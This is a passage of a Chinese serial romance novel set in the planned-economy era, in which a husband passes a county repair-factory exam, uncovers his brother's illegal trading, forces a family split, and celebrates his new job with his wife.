主考:“……” 一旁的几位考官闻声,都哈哈笑了起来,难得看领导吃瘪。 唐清江考完实测,从农修厂的大院里出来的时候,刚好是正午时分,比他预计地要早了不少。 这样,待会还能去干一件其他事。 不过,他一抬头,却先看到了等在农修厂大院外面的苏青莲和唐愿。 苏青莲看到他很是惊喜,两三步冲过来,往人身上一蹦:“老公,你怎么出来这么早?是不是考得很好?” 唐清江抱着人掂了掂,没有回答他的问题,而是皱眉看着她:“不是让你和阿愿去供销社或者饭店,怎么一直呆在这?” “……”苏青莲心虚。 半晌,她又鼓着脸,理直气壮起来:“我那不是想最早看见你吗,你在里面考试,我一个人逛供销社也没意思啊,而且阿愿也说要等父亲出来呢。” 唐愿还很配合的点透明:“对,要等父亲出来。” 一大一小,都这么说,他还能讲什么? 唐清江失笑:“两个小笨蛋。” 苏青莲纤细的胳膊抱着他的脖子,神情得意。 “中午了,去吃饭。”唐清江将人放下来,牵着往不远处的国营饭店走去。 国营饭店是如今年代唯一的馆子,占地颇大,窗明几净,里面摆着十几张四方桌子,墙上贴着八个大字“发展经济、保障供给”。 而在刚进门的柜台上,则摆着一张小黑板,上面写着“今日供应:红烧肉、鲜肉水饺……” 国营饭店一般是没法点菜的,今天送来了什么菜,厨师就做什么,客人就吃什么。 不过,厨师的厨艺真的都很不错,不论什么都极为美味。 苏青莲立刻兴奋地睁大了眼:“今天有红烧肉,运气真好。” 毕竟是曾经养在家里的娇小姐,肯定吃过不少好东西,但到了唐家村也不知多久没吃过肉。 唐清江回来后带的肉罐头和水果罐头都给她和阿愿吃了,不过自然比不上新鲜出炉的红烧肉味道好。 唐清江淡声道:“那待会你多吃一点。” 苏青莲立刻点头,她才不跟自己男人客气。 唐清江捏捏她的脸,拉着人往柜台前走去。 第508章 跟踪 “要吃什么?”那服务员对着两人没好气地问道。 这国营饭店靠近县城的几个工厂,往来都是工人,身上也有钱有票。 正是午饭时分,十分繁忙。 一忙起来,人心情自然不好,而且,这个时期,饭店服务员是一份十分体面的工作,大部分都十分的高傲。 不过,唐清江也不当回事,只问苏青莲:“除了红烧肉,还要吃什么?” 苏青莲拉着他的袖子:“有肉就够啦。” 唐清江点点头,又看向那服务员:“除了红烧肉,再要个炒豆角,再来一斤米饭。” 说完,拿出一张肉票和一张粮票,还有一块二毛前递了过去。 “好。”服务员点点头,心里却是颇为震惊,没想到这两人穿得这么破破烂烂,居然还挺大方。 尤其这肉票,可是很难得的。 不过,他不知道,这肉票也是唐清江身上唯一一张了。 这是之前挖河道的活计结束时,上面体谅他们的辛苦,特地奖励下来的。 也幸亏这最后一个月的工资和票据没有上交给唐母,不然这真连想吃口肉都不能。 后面厨师的工作很快,不一会儿,服务员便用大托盘端着肉、菜和两大碗米饭过来了。 国营饭店的东西最实惠,不管肉还是菜都堆得高高的。 苏青莲看着油乎乎、红亮亮的红烧肉,眼睛都红了,她都不记得自己多久没吃过肉了。 她赶紧夹了一块放到唐清江和唐愿面前的碗里,催促道:“快吃。” 她还特地分了一小份到唐愿的碗碟里,唐愿太小了,吃太多会消化不良,她不敢给唐愿吃太多,好在唐愿也听话,给多少吃多少,乖乖的。 而后,便拿着筷子,迫不及待夹了一块到自己碗里。 这红烧肉又软又糯,轻轻一咬就直接爆肉汁,苏青莲一大坨米饭包着半块红烧肉,往嘴里送去,而后微闭着双眼,满足地咀嚼了起来。 唐愿也学着她的样子开开心心的吃肉。 唐清江看母女二人那模样,简直就跟马上要升天了似的。 一时间,哭笑不得,心里却也暗暗道以后要尽量让小妻子和小女儿多多吃到肉。 等唐清江尝了一口红烧肉之后,便发现这厨师的手艺着实是很不错。 不到十来分钟,两大碗菜、肉,包括米饭都被吃得干干净净,就连汤汁,都被两人给用来拌饭了。 唐清江第一次知道,自己居然还是个吃货。 苏青莲幸福而慵懒地靠在椅背上:“要是每天都能吃肉,让我干什么都愿意。” 唐清江抬眸静静看他,眸光都深了几分。 “嗯?”苏青莲蹙着好看的眉:“老公,你这么看我干什么?” “没有。”唐清江摇头:“不是在看你。” 苏青莲哼了一声。 唐清江站起身,淡声道:“起来,带你和阿愿去个地方,顺便消消食,对身体好。” “哦。”苏青莲懒洋洋地应了一声,却没有任何动作。 唐清江摇头,手臂微微使力,将人给拖了起来,她又开始笑眯眯的。 跟他出来她总是这样开心,也是,不在唐家村不用面对唐家人她当然开心。 两人出了国营饭店,外面阳光灿烂。 不过,这会毕竟是四月间,太阳再大,照在身上也不算炎热,只是些许暖意。 本就吃得很饱,再被太阳一晒,苏青莲整个人便昏昏欲睡起来。 不过,唐清江一路牵着她,怀里又抱着唐愿,现在的县城也不像将来那般到处行车,倒是无关紧要。 苏青莲跟在唐清江身后,走了好一会儿,感觉身上的暖意都没了,才稍微清醒过来几分,看着周围的建筑,疑惑道:“哎,老公,你带着我来这里干什么?你什么时候对县城这么熟了?” 唐清江将人拉近一点,信口胡扯道:“不熟,我刚在饭店其实是看到唐年和林盛路两人,现在一路跟着他们过来的。” “他们两个凑一起指不定要做什么坏事呢,我们必须跟上。” 苏青莲对唐年那是一点好印象都没有,就是个混子。 唐清江带着母女二人悄悄往前走了一会。 果然看见那两人,正一人拎着一袋东西,神神秘秘地拐进了一条巷道,然后进了一家院子里。 “哎,你们家在县城没亲戚吧,这两人怎么对这人家很熟的样子?”苏青莲微微疑惑。 唐清江把唐愿放下来摇摇头,又道:“感觉不对劲,我们爬墙上去,看看里面的情况。” 唐清江是农村长大的,爬墙爬树都是从小玩到大的。 苏青莲也是从小调皮到大,这院子墙也不高,不过几秒钟,两人就找了个隐蔽的地方爬了上去。 等他们往里看的时候,就看见林盛路和唐年两人手里的袋子被打开了,都是些山货,院子里几个人正在检查盘点。 而一个颇为油滑的中年男人,正在往林盛路和唐年手里塞钱,嘴里还在说着,“下次有这样的好东西,他全要了,多送点……”之类的词语。 霎时,夫妻二人对视一眼,然后静悄悄从墙上滑了下来。 唐清江重新抱上唐愿,两人一直走到巷子口,苏青莲才拽住唐清江的衣袖,有些艰难道:“他们两……他们两刚刚是在……投……投机倒把……” 唐清江点点头,冷声道:“嗯,这可是要被抓起来的,现在还没分家,唐年说不准会牵累我们。” 苏青莲浑身卸了力,靠在屋檐下,点点头道,“难怪林盛路那小子那么阔绰,还有唐年,我最近发现他好像神神秘秘的……可是,可是他们怎么就那么大胆子?” 唐清江摸着他的脑袋,淡声道:“笨蛋,你刚不也说了,他们两人阔绰,这还不就是撑死胆大的,饿死胆小的吗,也不是咱今天赶巧跟上来,谁又能发现呢?” “哎,出来了,出来了……”苏青莲拉了拉唐清江,抬起下巴,示意不远处正在关门的院子,和笑盈盈出门的两人。 “嗯。”唐清江点头。 反正他们两人也没走,就站在这巷子的转角候着。 第509章 分家 大约十几步之后,林盛路和唐年两人也转出了巷子,正好和拐角处的唐清江、苏青莲碰个正着。 “你……你们……”两人瞪大了眼,面白心跳。 万万没想到,自己居然被人跟踪了。 唐清江正半靠在墙上,目光淡淡地看着两人。 见状,便接过他们的话茬,漠然道:“你们胆子可真大!” 唐年一怔。 但下意识,却还想嘴犟:“你……你都看见什么了?” 唐清江站直了身体,气势迫人,嗓音却轻飘飘:“该看见的都看见了。” 苏青莲对刚刚看到的画面,还有些心有余悸。 没想到唐年这个也算跟自己同住一个屋檐下的人,居然胆敢投机倒把…… “你们两怎么敢做这种事,要是被抓到,说不定还会连累家里人,尤其是你,唐年……” 唐清江神色冷峻,语气凉薄:“人家只想过好日子,心里哪还有家人?” 听着两人一唱一和,尤其唐清江毫不掩饰的嘲讽,唐年的表情再也维持不住,惊怒道,“你们别太过分了。” 这个大哥自从挖河道回来之后,便跟疯了一样一直针对他,就没再做过一件好事,这次自己被他抓住把柄,以后还不知道会怎样威胁利用呢? 林盛路却是个聪明人,他看向唐清江,尽量平静道:“那我们就开门见山直说吧,你想怎么样,你如果是想举报我们的话,肯定不会在这等着呢,所以,你是想也参与进来一起赚钱,还是有其他要求和想法?” 唐清江淡淡瞥他一眼,点头道:“这个态度就对了。” 说完,目光冷淡的瞥了唐年一眼。 林盛路笑了笑,有要求就好。 “那你的想法是?” 唐清江嗓音漠然,表情更漠然:“我没什么想法,对你们这种赚钱法子不赞同更不想掺和进去,我只想要分家,唐年你应该知道是什么意思?” “……”唐年看着他,眸带疑惑:“你真的只是要分家?” 唐清江冷笑一声:“你以为呢?” 说完,他便直接带着母女二人离开了这条巷子。 看人消失后,唐年才吐出口气,语带不屑道:“倒是我高看我这个大哥了,还以为能想出什么害人的法子?” 林盛路目光沉沉,总觉得唐清江这人似乎不简单。 不过,他们怎么想得,唐清江两人是都不知道了。 唯一知道的就是,他们从县城回去之后,坚持了一个月始终不愿分家的唐母,终于在今日松口分家了。 …… 分家在乡下算是个大事, 也意味着之后的粮食关系和户口什么的都要分开算了。 所以,哪怕是由唐家最宝贝的唐年主动提出的,但也让唐母好一番跳脚。 然而, 等唐清江冷着脸,一点也不隐瞒地把今天在县城发生的事,告诉了唐家全家人。 之后,便是向来忍让的唐武, 也郑重地说了要立刻分家。 不过, 唐母的第一反应,首先还是不信。 毕竟, 在她眼里, 唐年怎么可能知法犯法,故意去做这种投机倒把的事。 唐母连忙对着唐年问道:“年年,你大哥刚刚就是想借机分家, 所以故意乱说的吧……” 唐清江冷笑一声,唐年对上他的视线,下意识咬了咬唇,没有直接回答唐母的话。 唐母自然了解小儿子,看清楚他脸上的表情之后, 一下自就顿住了, 立刻语气踟蹰地再次重复问道:“年年……你……你倒是说句话啊……” “你这……你真的做了这种事?” 唐年当即皱了皱眉, 有些尴尬, 有些烦躁,更有些不悦。 他不懂为什么母亲非要对这事这般上赶着, 就算他倒买倒卖又怎么样,他们不是一直都希望他、希望家里生活得更好吗? 既然他们自己做不到, 那就让他来想办法,有什么问题吗? “是,但是这又不是我一个人在做,而且这真的很赚钱……”唐年随口道。 “赚钱,赚钱怎么没看到你拿回来一分钱啊?”苏青莲立刻开启了嘲讽模式。 唐年下意识便瞪圆了眼:“那是我赚的钱。” 见他如此态度,苏青莲的声音更大几分:“你在家吃喝穿用,可都是你两个哥哥赚的工分,咱们其他人工分、布票都要上交,偏你不用,你还每日穿金戴银,眼睁睁看着家里其他人吃糠咽菜。” 唐母自然舍不得宝贝儿子受委屈,赶忙打断了苏青莲的咄咄逼问:“你怎么说话的,怎么能这么对你弟弟?” “呵呵……”闻言,苏青莲只冷笑一声,懒得再说话了。 反正,刚刚回来路上,唐清江已经说了。 今天晚上是铁定要分家的,最后一天就不再把唐母气出个好歹来了。 唐清江看着唐母,嗓音冷淡到极点:“怎么说话不重要,怎么做事才重要,唐年这行为是犯法的,我们不想被他拉下水,所以要么您就把他给赶出门,要么大家直接分家最好。” “你……”唐母被他这绝情的话,气得直喘。 沉默片刻,看向唐武:“你也是这个意思?” 唐武无奈地点了点头:“年年他一个人胆大妄为没关系,我老婆孩子,我不敢冒险,要是革委会来了人,咱们家到底怎么办?” 唐年看着这两个以前的好哥哥,如今却完全翻脸不认人的模样,心中冷笑。 当即,更加不屑道:“娘,我刚刚都说了,分家就分家,你跟我过日子以后绝对过得比现在好!” 哼! 他还怕之后发达了,唐清江这一帮人再缠过来呢? 这帮没有眼光的东西,现在分得越清楚越好。 唐家这分家,分得很特殊,在村里还是引起了一番讨论。 旁人家父母都是跟着长子过,他们唐家是跟着小儿子。 要不是村里人对唐老大和唐清江的脾气很了解,知道他们都是老实人,只怕还以为是他们做了什么不孝的事,才被父母嫌弃地赶出来了呢? 不过,现在建国之后,所谓的封建传统也不必遵守,老人家高兴怎样就怎样,这些年,他们村里跟小儿子一起过日子的也不是没有。 第510章 超喜欢你 就在分家完毕的第五天,县农修厂的考试成绩也要下来了。 这次没有拖拉机可以坐了。 前一天晚上去记工分的时候,唐清江向队长请了假,又顺便问他借自行车一用。 自行车这种大件,整个村里,也就几家人有,队长家是有的。 唐玉树听了,下意识问道:“上个星期不是才去县城吗,清江,你有东西忘买了?” 唐母刚好也在记分员那登记,闻言便阴阳怪气冷喝道:“难怪打量着分家,这分家之后啊,就跟你那个媳妇学,一天到晚偷懒不上工,尽往县城跑了?” “我就说你们夫妻两个没有一个靠谱的,看你们能把日子过成什么样!” 唐清江只当没听见,他本也不在意唐母,只转头对着唐玉树解释道:“上次去县城,刚好农修厂在招人考试,我就去报名了,明天会出录取结果,我去看看。” 唐玉树颇惊有点不敢想象,顿了好一会儿才开口道:“县城的农修厂,那可是咱们县最大的厂了?” 尤其他们这边的农修厂,那厂长听说就直接是县委书记兼任的,用古话来说,那就是天子门生啊。 “嗯。”唐清江淡淡点头。 唐母也十分震惊。 不过,她很快就反应过来,切一声道:“农修厂招人多难,你怎么可能考得上?” 她觉得自己是最了解大儿子的,小时候就没读过什么书,能考上农修厂?他要能考上那小儿子也能考上了!就在这里吹牛呢! 苏青莲也在一旁等着,听这话,当即有些恼:“您不知道就别乱说,我们家清江会开拖拉机,也会修拖拉机,人也聪明,考个农修厂还不是小意思。” 唐母当即就笑了起来,只觉得他是傻子,真要这么容易都进厂子了! 唐玉树看了眼这一家人,毕竟是家事他不好掺和,只能笑了笑圆场道:“反正清江还年轻地很,去见识见识也好。” 显然,他也对唐清江能进农修厂不抱任何希望。 苏青莲只觉自己头上要气得冒烟了,她男人最厉害了,考个农修厂就是手到擒来的,怎么都不信吗?凭什么不信啊! 唐清江伸手握住她的手腕,轻轻摩擦几下以做安抚。而后,抬头对着唐玉树:“明天,麻烦队长了。” 唐玉树摇摇头:“没事,那你早点过来。” “好。” 等回到家后。 苏青莲立刻气呼呼扑进唐清江怀里,整个人都在哼哼,显然是气的狠了道:“这些笨蛋,什么都不懂。” 唐清江捏着她的脸颊:“他们不如你聪明。” “哼。”苏青莲还是哼哼唧唧不高兴,唐愿在一旁看着,她也觉得父亲是一定能考上的,在她眼里父亲应该是很厉害很厉害的人。 唐清江想了想道:“刚问队长借了自行车,明天天气好,骑车载着你一起去县城。” 苏青莲猛地抬起头:“好!” 以前在县城的时候,就看过附近职工大院,经常有年轻小伙子搞对象的时候,就骑车带着小姑娘小女人到处兜风。 她当时可羡慕了,就想着以后自己也能找到这个这样的对象呢。 但是来了乡下以后就没怎么想过了。 没想到,现在又有了,这一切都是唐清江带给她的。 苏青莲双手搂着唐清江的脖子,赖在他怀里,整个人带着嗓音都软哒哒的:“老公,你真好,我超喜欢你。” 唐清江低头在她艳红的唇上轻轻咬了咬,既然那么喜欢的话,以身相报就好。 第二天一早,唐清江和苏青莲在唐年等人的鄙夷目光之中,去了队长家中。 骑自行车担心摔到孩子,但留唐愿一个人在家他们又担心被唐家人欺负,索性让队长帮忙看下孩子,为此唐清江送了一瓶水果罐头,队长媳妇脸都笑成朵花,嘴上说着不用这么客气,但收东西倒是利索。 老天啊,那可是水果罐头呢! 这时候,时间很早,四月的天气也不炎热。 苏青莲倒着坐在车后座上,跟唐清江背靠背。 早晨的微风拂面而过,看着眼前不断倒退的油菜花田,自行车在其中出穿梭而过,场景如画一般。 她双手伸展,在阳光下,整个人仿佛要飞起来一般。 唐清江的余光大约能看到她不听话的模样,前面是个颇长的上坡,他嗓音微沉道:“坐好了。” 苏青莲点点头,握着拳头:“老公加油。” 这点坡对唐清江来说,自然算不得什么。 而上坡之后,便是下坡。 风迎面吹来,衣衫鼓起,头发飘扬。 苏青莲几乎是蹲在了后座上,一只手紧紧搂着唐清江的腰,一只手放肆的在唐清江头上乱揉,嘴中兴奋地喊叫着:“飞了,要飞起来了……” 她是真的开心,跟唐清江在一起她就是会心情很好,现在眼睛都是弯弯的。 但此刻不用想唐清江也知道自己现在的脑袋,只怕乱成了一团。 等完全离开下坡后,他骑车速度放慢,想要狠狠教育一顿后面不听话的家伙。 结果,背上就趴上了熟悉的柔软温热。 苏青莲在他脖子上轻轻亲了几下:“老公,你真棒!真帅!” “……”唐清江。 他决定暂时原谅自家小妻子的调皮。 大约一个多小时后,自行车终于骑进了县城的街道。 唐清江熟门熟路地带着人穿过大街小巷,往农修厂的方向直奔而去。 跟来报名那日一样,虽然这回已经是上工时间,但农修厂门前却繁忙不堪,人流如织。 大部分人都围在大门口右侧的一块布告栏前,都是来看成绩的考生或者陪同的家人。 苏青莲迫不及待地从自行车上跳下来,就拉着唐清江往那边钻:“快快,去看看成绩。” 唐清江拉着她。 “人多小心点,不用挤,我眼力好,站在外面就能看清了。” “哦。”苏青莲听话地应了声,但整个人却还是激动不已。 就在这时,他们旁边突然凑过来一人。 “大哥,上次忘记问了,你叫什么,我刚从布告栏前出来,这次一共只招六个人,名字我全记下了。” 第511章 第一 唐清江和苏青莲抬头一看。 苏青莲先是一惊,指着他道:“你……你是那个小周子?” 周出翻白眼:“什么小周子,跟叫太监似的?” “哈哈……”重逢旧友,苏青莲心情也不错,笑了笑。 笑完,又想起正事,看着他积极问道:“啊对了,我老公叫唐清江,你看到名字了吗?” 周出愣了愣:“唐清江,唐家村的唐清江?” 苏青莲立刻点头:“对对,你看到了?” 周出转过头,深深崇拜地看了唐清江一眼:“感情真是位大哥呀,大哥,你笔试和实测都是一百分,你是这次录取的第一名,第二名比你少了快二十分。” “哈哈哈!”苏青莲立刻一把抱住唐清江:“老公,你真棒,不仅考进去了,还是还是两个满分的第一!” 唐清江对此并不算意外,抬手摸摸她的脑袋,淡声道:“托你的福,几天前就是在这儿,你给了我信心。” 苏青莲立刻想起,当初来考试那天在门口说的话,引起了一阵鄙视目光。 当时,自己可憋屈了。 但现在,没想到他老公居然还记着呢。 苏青莲目光清澈地看着唐清江,心里软软甜甜,恨不得当场就以身相报一百次。 “咳咳……”周出轻轻咳了一声。 这两夫妻一说起话来,就当他不存在。 唐清江瞥他一眼:“你考了第几?” 周出见唐清江记起自己,立刻一喜:“第六。” 苏青莲看他:“那你也被招进去了。” “嗯,哥以后也是吃公粮的人啦,”周出得意点头,又继续道:“对了,咱们考进去的人,要先去之前报名的地方确认一下户籍之类的资料,然后领取工作证件,下周一就要凭证件来报道上班了。” “那老公你赶快去啊。”苏青莲迫不及待,拉着唐清江的衣袖。 “好。”唐清江点头,一脸平静,离开前还不忘揉一揉小妻子的头:“你在这里乖乖的。” 苏青莲眼睛亮亮的。 这话说的,她什么时候不乖了。 周出看着唐清江的模样,内心感慨,不愧是做大哥的人,瞧这淡定模样这会儿还有时间哄老婆呢,要是他考了两个满分第一,那不得嚷嚷地全县城都知道。 唐清江三人进了农修厂大门,往第一排平房拐角的那间屋子走去,门口的牌子上挂着《人事》两个字。 不过,由于今天招了新人,办公室里面倒有不少人在。 坐在办公桌后的人事员工,对农修厂的两百多人都认识,见这来了两个不熟悉的面孔,便直接冷淡问道:“是今天刚录取的?” “对,我是周出,这是唐清江。”周出也不在乎她的冷脸,立马点点头,他还热情的把唐清江一道报了出来。 人事冷漠地看他一眼:“好了,把你们的介绍信和身份证明拿来我看看。” 就在这时,一道洪亮的声音在门口响了起来:“唐清江来了没?” 屋里几人齐齐抬头一看。 人事原本不大高兴的脸,却立刻热情一笑,人也直接站了起来:“是董科长啊?您怎么来了?” 唐清江眯了眯眼,是那天实测的主考官,原来是个科长。 唐清江身材高大,气势惊人,在人群中鹤立鸡群一般。 那董科长也一眼看到了他,走过来十分熟套地拍了拍他的肩膀:“已经来了啊,来了正好。” 说完,便有对着那人事道:“这次新来的几个人,都还没分配去向吧,这个唐清江同志我要了,一定要安排到我们发动机科去啊!” “啊……好,好,我登记一下!”人事先是微微震惊,而后连声应道。 董科长满意地点点头,亲眼看着人事把名字登记下来之后,才又看了唐清江一眼,叮嘱道:“星期一别迟到,我等着你!” 唐清江平静点头:“嗯,我从来没有迟到过。” 董科长大笑一声:“你小子这个性子,还是这样。” 笑完,便直接转身出了办公室,似乎就是特意为唐清江来的。 那人事再抬头时,又恢复了一脸冷漠,却还是隐有好奇地瞄了唐清江好几眼。 虽然厂里大家都知道,发动机科的董科长私下最是平易近人,但在专业技术上的要求却同样也是最高的,还从没见过他对谁那么看重呢? 居然亲自来人事科要一个新人。 而屋里那些本次新招来的其他几人,甚至包括周出,都略带嫉妒地看了眼唐清江。 啧…… 他们虽还不熟悉这位董科长是何方神圣,但先前实测此人是主考,此刻又知道了其职位,再看那高傲的人事员工对此人的态度,便知应是个了不起的大人物。 这还没开始工作,就能被这样的人看中,唐清江直接走在了他们前面啊。 唐清江作为当事人,心情始终相当的平静。 不过,他身旁的苏青莲,却完全不是这样。 两人在人事那边办理完所有事项,走出农修厂的大院子,推了自行车离开后,一直都快走出那一片厂区,走上县城的中心街道。 而苏青莲同志,却依然在捧着那本红皮工作证,目不转睛、翻来覆去地看,几乎要将那薄薄两页纸翻烂,一直到现在都回不过神来。 唐清江瞥了眼身旁的小妻子,颇有些忧伤,自己这一个大活人,感情还比不上一个小本子。 又走了一会,唐清江终于忍不住,手指轻轻拨了下自行车龙头上的车铃。 “叮叮……” 听着这清脆的响声,苏青莲才懵懵地抬起了头,疑惑道:“嗯,怎么了?” 唐清江一把抢过工作证:“别在太阳下看,伤眼。” 苏青莲鼓了鼓嘴,又从唐清江手中将工作证抢了回来:“我现在心里高兴,看什么都不会伤眼,哪怕唐年那个讨厌鬼出现在我面前,我都会觉得他现在不那么丑陋了。” “……”唐清江。 他妻子这也太唯心了。 就在这时,一道颇为尖细的嗓音突兀的响起:“苏青莲,你怎么会出现在这儿?” 第512章 她做什么都可爱 两人齐齐转头看过去,他们似乎是走到了县城唯一的一家百货大楼前。 当然,此时的百货大楼只是夸张说法,其实整个建筑也只有一层而已,但面积却比普通的供销社大了不少,东西种类也多了不少,甚至还有收音机、黑白电视机这样的稀罕电子物品卖,虽然数量很少,只有区区几台。 而此时,百货大楼门口处,正有两人目光不善地朝他们走过来。 苏青莲便不高兴地道:“关你什么事?我想来就来,怎么,凌晓雨,这县城是你家开的?” 凌晓雨听着这语气,心里不悦到了极点。 “苏青莲,百货大楼是你这样的乡下人能进来的吗,哦呦,你身边这位不会就是你嫁的那个乡下人吧,呵呵……” 说着,她便转身去看仔细打量唐清江,下一刻,却微微愣住。 若不是先入为主,知道苏青莲老公就是个不折不扣的乡下人,但看这人的气势,那简直比城里人还城里人。 苏青莲不高兴地挡在他面前:“呵呵,凌晓雨,看你买的这些东西,应该是要结婚了吧,居然还好意思这么盯着我老公看。” 凌晓雨也回过神来,立马不屑道:“谁稀罕看啊,长得再好,还不是一个乡下人,昊阳哥可是在县政府上班的。” 苏青莲不屑地冷哼一声:“他那个废物样子,一个高中考了三四年都没考上,能去县政府,还不是靠得他爸。” 凌晓雨面色微沉:“你别是吃不到葡萄说葡萄酸。” 苏青莲可算找到显摆机会了,一把举着手上的红本本工作证:“呵呵,谁酸他,我们家清江凭自己考进县农修厂当技术工人,这才是本事呢,而且还深受科长看中,你少拿那个二世祖的陈昊阳来跟我们家清江比,不配。” “县农修厂?”凌晓雨的声音都变了。 县农修厂可不是一般的厂,那是县委书记兼任厂长的,不管地位还是待遇,都是全县最好。 “嗯。”苏青莲得意地应了一声,就拉着唐清江走了。 等两人出了县城,又重新坐上了自行车。 苏青莲搂着唐清江的腰,脸贴在他宽阔的背脊上,轻声问道:“老公,我刚刚是不是太坏了?我故意显摆的,我还骂人了。” 唐清江摇头:“没有,很有朝气,很可爱。” 反正在他这里苏青莲做什么都是可爱的。 苏青莲脸蛋在唐清江背上轻轻蹭了蹭,微眨眼缓声道:“我脾气不好,以前在县城的时候,父亲就说过我的。只是我忍不了的。” “不必忍。” 他哄她。 苏青莲抽了抽鼻子哦了一声,又在他背上轻轻蹭了蹭。 “刚才那个人是我原来的同学,因为我家那时候有钱,她就来当我的跟班总是说奉承话,后来家里面出事后她就来落井下石……” 她说到这些心里就发堵。 苏青莲继续说道:“他们那时候总说我脾气坏,可是……明明每次都是那些小男生主动欺负我,但我只要一骂人打人,他们就觉得是我的错……” “你没有做错,脾气也不坏,那些人欺负你,你骂回去打回去自然是对的,如果你骂不过打不过,我就跟你一起。”唐清江声音温和,但目光更温柔。 可惜苏青莲坐在后面看不到,不然肯定脸蛋全红。 但听着这话,苏青莲便已经笑得极为灿烂,双手越发用力抱紧前面人的腰:“你怎么这样,别人家老公都是说,‘以后你就再也不用自己动手了,因为现在有我了之类的’……” 唐清江哼笑一声,嗓音淡淡:“我看你骂人的时候,精气神十足,很开心,不忍心剥夺你的爱好。” “……”苏青莲。 她老公真会说话。 她苏青莲是这种以骂人吵架为乐的女人吗? 误会太大了。 唐清江和苏青莲两人回到唐家村之后,先骑着自行车去了队长家里,这会正是午饭时间,唐玉树一家人刚从地里上工回来。 唐清江将自行车还回去的时候,还塞了一小把刚买的糖果。 唐玉树连忙推辞,这年代糖可是精贵东西。 苏青莲积极道:“队长,你就收了吧,我们家老大被农修厂录取了,这是高兴呢!” “好好。”唐玉树点了点头。 半晌,他才反应过来,瞪大了眼看着唐清江和苏青莲:“啥。你刚刚说啥?” 苏青莲要得就是这个效果,赶忙又大声重复了一遍:“队长,我说,我们家老大考进县城的农修厂了,当技术工人,星期一就要去上班了,这工作证都已经发下来了。” 他这几句,基本上是一个字一个字往外蹦的,而且声音忒大,不仅唐玉树一家,周围的隔壁四邻基本全都能够听见。 唐玉树揉了揉耳朵,难以置信地再次重复了一遍:“你是说清江,进农修厂当工人了?” 苏青莲点点头,再次把他的宝贝工作证掏了出来:“队长,你看,这就是农修厂的工作证,上面还有照片呢,可正式气派了。” 唐玉树连忙一把抢过看了起来,他能当生产队队长,自然是认字的,反反复复对着那工作证看了几遍,确认上面就是他们生产队的唐清江。 他欣慰地拍拍唐清江的肩膀:“清江啊你这真是不错,真不错,农修厂好啊。” 等唐清江和苏青莲从队长家走出来的时候,一路碰到许多人探头探脑。 也有那活泛的,就直接开口问了:“小苏啊,我刚刚听到你说,你们家老大是要进县城当工人了?” 苏青莲连忙点头:“是啊是啊,多亏我们家老大上进啊,当初虽然刚结婚就去挖河道,但就是这样,他也认识了一个开车的师傅,花钱请师傅教了开车和修车,上次咱们队拖拉机坏了两次,不就是我们家老大修得吗,这回农修厂招技术工人,老大就去考了,这一下就考上了,今天去把工作证都拿回来了。” 演讲完一大段,苏青莲又习惯性将工作证拿出来显摆。 这下,村里人都忍不住面带艳羡。 第513章 这么贴着不热吗? 这平日看着最老实、不声不响的唐老大居然进了县城当工人,端上了铁饭碗? 听说农修厂可是县城待遇最好的厂子了,不仅每个月二十块钱的工资,还有粮食、还有布票、肉票什么的,这简直了…… 不得了,不得了啊。 也不知道这究竟是怎么传播的,反正等唐清江拎着一路嘚瑟完的苏青莲回家时,唐家人也都已经知道了这个消息。 而那时,林盛路也在他们家。 唐年和林盛路因为经营着共同的事业,所以最近经常在唐家吃饭。 今天中午也一样。 唐母刚做好了饭,几人坐在桌子旁,还没动筷子呢,唐家老二唐武就兴冲冲地跑了进来:“爹,娘,你们听说了吗,大哥他考进农修厂了,他要进县城当工人了!” “啊?” 坐在桌子旁的和唐年几人对视一眼,完全像是在做梦的模样,这是在说什么呢? 他们没听错吧,居然说他们家那个老大,要进县城是农修厂当工人了,这怎么可能? 那可是全县城最好的厂子,要求多严多高啊! 唐母首先瞪了唐老二一眼:“这一分家,个个就跟发了癫一样,一点成人样子都没了,大白天的哪里听到一些鬼话,就跑回来胡说八道的……” 唐母冷笑一声:“我昨儿倒是听说老大今天要去县城看看农修厂招人结果,结果就被你传成已经当工人了。” 唐老二被母亲这接二连三的否认,也忍不住蹙了蹙眉。 难道,真是自己听错了? 林盛路见状,便道:“有些话,村里传来传去的,便变了味道。” 唐年也笑了笑:“二哥,其实这也不怪你,都怪大哥大嫂自己太高调好面子,就去参加个招人考试,也非要弄得这么高调,搞得现在全村人都知道了,待会等结果传回来,难看的那也是他们自己。” 唐老二微微蹙眉,觉得唐年这话不大合适,但当着娘的面,他也不好对这个最受宠的弟弟多说什么。 不过,他不说,却有人说。 “呵,我当是谁在这背后说人是非呢,原来又是你啊,唐年!” 唐家门外,传来一道清亮的声音。 唐年抬头一看,赫然便是他最讨厌的苏青莲和唐清江两人回来了。 他面色微变,却嘴硬道:“什么是非,我说得不是实话吗?” “呵呵……”苏青莲冷笑一声,边往里面走,而后砰一声拍在他们吃饭的桌子上。 “这是要干什么,你弟弟就是说你们一句怎么了,你还想掀桌子不成吗?”唐母不高兴地变了脸色,又偏头瞪向唐清江,训斥道:“你也不管管你媳妇,一个女人,看着跟个流氓似的。” 唐清江漠然抬头,完全不顾唐母,只是冷淡的看她一眼,对着苏青莲道:“你要掀桌子?我帮你就行,你力气小。” “……”唐家人震惊。 这说得是人话吗? 苏青莲耳后微红,黏黏糊糊地看向唐清江,撒娇般道:“不掀桌子,我还有其他事……” “好。”唐清江淡然点点头。 苏青莲又转头看向唐年等人,她慢慢挪开刚刚拍在桌面上的手掌,露出一本红色的小证件,语气跟目光一样冷傲:“看到这是什么了吗?” 其他三人还没反应,林盛路的面色却首先一变。 苏青莲轻笑一声:“果然是有聪明人的,告诉你们,这是农修厂的工作证件,我们家清江现在已经是农修厂的正式员工了,下个星期一就要去上班了。” …… 不管唐家人多么震惊和难以置信。 反正等到星期一, 唐清江就要去县城农修厂上班了。 当然,在这之前,还有事情要解决。 唐清江看着烧个火也要挤在自己旁边的人, 淡声道:“都四月底了,这么贴着不热吗?” 前几天分家之后,唐清江两口子、还有唐老二家,便和唐母他们各自开火了。 未免再发生矛盾, 三家各自约定了厨房使用时间。 唐清江家排在最后。 不过, 这样也最自在,省得被三催四催的。 “不热。”说着, 苏青莲还更挤得近了点。 唐清江看着她被灶里大火炙得通红的娇嫩脸蛋, 甚至额上还出了层细密的汗珠。 小妻子说谎话倒是越来越真了。 唐清江抬起手臂, 用衣袖轻轻将人脸上的汗珠擦去,嗓音低沉:“怎么了这是?” 苏青莲仰着头让他擦汗,双眸也直直地盯着他, 映着火光, 越显火热深情:“你去上班,我又要好久看不到你啦。” 